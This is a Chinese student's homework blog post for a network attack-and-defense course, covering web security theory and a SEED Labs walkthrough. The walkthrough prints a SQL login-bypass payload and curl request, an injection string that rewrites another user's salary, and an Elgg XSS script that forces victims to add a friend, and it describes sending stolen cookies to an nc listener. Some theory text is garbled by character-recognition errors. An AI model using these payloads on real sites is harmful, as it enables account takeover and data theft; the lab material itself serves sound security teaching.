zoukankan      html  css  js  c++  java
  • 20199328 2019-2020-2 《网络攻防实践》第11周作业

    20199328 2019-2020-2 《网络攻防实践》第11周作业

    1.实践内容

    Web应用程序体系结构及其安全威胁

    Web应用体系结构

    浏览器作为 " 瘦 “ 客户端主要完成数据显小与展示内容的渲染(render)功能' ; 而由功能强大的" 胖“ 服务器负负完成士哎业务的计算
    处理; 两者之间通过因特网或内联网上HTTP/HITPS应用层协议的诸求与应答进行通信。

    Web应用安全威胁

    • 针对浏览器和终端用户的Web浏览安全威胁
    • 针对传输网络的网络协议安全威胁
    • 系统层安全威胁
    • Web服务器软件安全威胁
    • Web应用程序安全威胁
    • Web数据安全威胁

    Web应用安全攻防技术概述

    Web应用的信息收集

    • 手工审查Web应用程序结构与源代码:静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串
    • 自动下载与镜像Web站点页面
    • 使用Google Hacking技术审查与探测Web应用程序
    • Web 应用程序安全评估与漏洞探测

    攻击Web数据内容

    攻击Web服务器软件

    • 数据驱动的远程代码执行安全漏洞
    • 服务器功能扩展模块漏洞
    • 样本文件安全漏洞
    • 源代码泄露
    • 资源解析攻击

    攻击Web数据内容

    • 安全敏感数据泄露
    • 网站篡改
    • 不良信息内容上传

    Web 应用安全防范措施

    • Web 站点网络传输安全设防
    • Web 站点操作系统及服务安全设防措施
    • Web 应用程序安全设防措施
    • Web 站点数据安全设防措施

    SQL注入

    SQL注入是利用Web应用程忭数据层存在的输入验证不完社型安全肋洞实施的一类代 码注入攻击技术。

    SOL 注入攻击原理

    SQL 注入攻击的原理是向 Web 应用程序提供的用户输入接口(如一个动念页面的输入 参数、 表单的输入框, 等等)输入一段精心构造的 SQL 查询命令, 攻市和利用不完善的输入验讥机制, 使得注入代码得以执行完成非预期的攻击操作行为。

    SQL注入攻击步骤和过程

    • 发现SQL注入点
    • 判断后台数据库类型
    • 后台数据库中管理员用户口令字猜解
    • 上传ASP后门, 得到默认账户权限
    • 本地权限提升
    • 利用数据库扩展存储过程执行Shell命令

    SQL注入攻击防范措施

    • 使用类型安全(type-safe)的参数编码机制
    • 凡是来自外部的用户输入, 必须进行完备检查
    • 将动态SQL语句替换为存储过程、 预编译SQL或ADO命令对象
    • 加强 SQL 数据库服务器的配置与连接

    xss 跨站脚本攻击

    xss 攻击技术原理

    攻击者利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。

    xss 攻击类型

    安全业界普遍将其分为两种主要的XSS漏洞类型即持久性XSS涌洞(PersistentCross Sile Scripting)和非持久性XSS涌洞(Non-persistentCross Site Scripting),利用这两类漏洞的攻击也被称为持久性XSS 攻击与非持久性XSS攻击

    2.实践过程

    SQL Injection Attack Lab

    首先登陆mysql,数据库的账户是root,密码是seedubuntu

    选择库,并且查询所有的表。

    搜索和alice有关的信息

    在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,通过vim查看对应的原代码找到这样一段关于数据库查询的代码

    关键代码:

    $input_uname = $_GET[’username’];
    $input_pwd = $_GET[’Password’];
    $input_uname = sha1($input_pwd);
    ...
    $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
    $result = $conn -> query($sql);
    
    if(id != NULL) {
    if(name==’admin’) {
    		return All employees information;
    } else if (name !=NULL){
    		return employee information;
    }
    } else {
    	Authentication Fails;
    }
    

    查询语句:

    SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
    

    将其中的用户名改为Admin'#,密码改为任意值,这个查询语句就会变为:

    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'
    

    在#之后的全都被注释掉了,不需要验证密码就可以通过验证

    输入的username字段为Admin‘#,Password字段为任意值,去网页登陆

    在命令行做到这一点。使用curl,将参数放在里面进行攻击这里需要注意转义字符 curl

    curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=balabala
    

    用登陆前面管理员登录的账号,进入edit profile修改
    ',salary='123'where Name='Alice';#

    修改别的人工资,同上,换名字就可以了

    修改别人的密码,把薪水改成密码就行了

    XSS攻击

    • 显示警告窗口

    • 弹窗显示cookie信息

    获取受害者的cookie,上面的获取cookie只是弹到了窗口里,这次要发送给自己

    用nc来监视我选择的端口。再访问主页之后,可以看到我的端口收到了cookie

    • 添加受害者好友

    需要知道请求好友的指令。首先要正常情况下添加一次好友

    档案的参考代码缺少了一块信息

    <script type="text/javascript">
    window.onload = function () {
    var Ajax=null;
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token; 
    //Construct the HTTP request to add Samy as a friend.
    var sendurl=...; //FILL IN
    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    Ajax.send();
    }
    </script>
    

    用HTTP header live来查看数据,得知缺省的部分应该是:"http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
    将这段代码放到Alice的About ME,注意这里要用右上角的Edit HTML模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败

    用boby的账号访问Alice的个人主页,返回看boby的朋友圈会看到

    • 修改别人的信息

    脚本的框架在pdf中也给了,缺省的值也和上一题获取的方法一样

    然后alice访问主页之后,自我介绍就会被修改。

    3.学习中遇到的问题及解决

    • 问题1:seed连不上网
    • 问题1解决方案:还原默认网络环境
    • 问题2:代码写不出
    • 问题2解决方案:参考参考

    4.实践总结

    要多学学各种代码

  • 相关阅读:
    语法专题:错误处理机制
    语法专题:数据类型的转换
    运算符:其他运算符,运算顺序
    运算符:二进制位运算符
    运算符:布尔运算符
    运算符:比较运算符
    day09 继承、super、this、抽象类
    day08 String类、Static关键字、Arrays类、Math类
    day06 Scanner类、Random类、匿名对象、ArrayList类
    day05 encapsulation
  • 原文地址:https://www.cnblogs.com/llj76720197/p/12874993.html
Copyright © 2011-2022 走看看